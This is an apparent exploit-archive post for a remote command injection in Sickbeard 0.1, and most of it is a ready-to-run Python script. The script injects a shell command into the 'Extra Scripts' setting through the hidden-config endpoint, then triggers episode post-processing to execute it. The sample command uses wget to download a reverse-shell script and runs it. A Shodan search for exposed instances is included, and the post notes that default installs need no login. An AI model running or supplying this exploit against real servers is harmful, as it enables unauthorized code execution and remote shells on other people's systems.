Sickbeard 0.1 Command Injection

Sickbeard version 0.1 suffers from a remote command injection vulnerability.


MD5 | ea66fc16bd875615ee5bc4a4f7515da6

# Exploit Title: Sickbeard 0.1 - Remote Command Injection
# Google Dork: https://www.shodan.io/search?query=sickbeard
# Date: 2020-06-06
# Exploit Author: bdrake
# Vendor Homepage: https://sickbeard.com/
# Software Link: https://github.com/midgetspy/Sick-Beard
# Version: alpha (master) -- git : 31ceaf1b5cab1884a280fe3f4609bdc3b1fb3121
# Tested on: Fedora 32
# CVE : NA

#!/usr/bin/env python3

import requests
import sys

HOST = 'http://localhost:8081/'

# path to local video for processing
# see HOST + home/postprocess
PROCESS_DIR = '/directory/changeme'

# Auth is disabled on default installation
USERNAME = ''
PASSWORD = ''

# see "Extra Scripts" field. HOST + config/hidden/
# multiple commands can be entered separated by '|'
CMD = 'wget -t 2 -T 1 -O /tmp/reverse_shell.py http://localhost/reverse_shell.py | python /tmp/reverse_shell.py'


def post_request(url, data):
try:
requests.post(url=url, data=data, auth=(USERNAME, PASSWORD))
except requests.exceptions.RequestException as e:
print(repr(e))
sys.exit(1)


def set_extra_scripts():
data = {
'anon_redirect': 'http://dereferer.org/?',
'display_all_seasons': 'on',
'git_path': '',
'extra_scripts': CMD
}

post_request(HOST+'config/hidden/saveHidden', data)


def process_episode():
data = {
'dir': PROCESS_DIR,
'method': 'Manual',
'force_replace': 'on'
}

post_request(HOST+'home/postprocess/processEpisode', data)


def main():
try:
print('setting scripts...')
set_extra_scripts()

print('processing episode. might take a few seconds...')
process_episode()
except KeyboardInterrupt:
print('exit...')


if __name__ == '__main__':
main()

Related Posts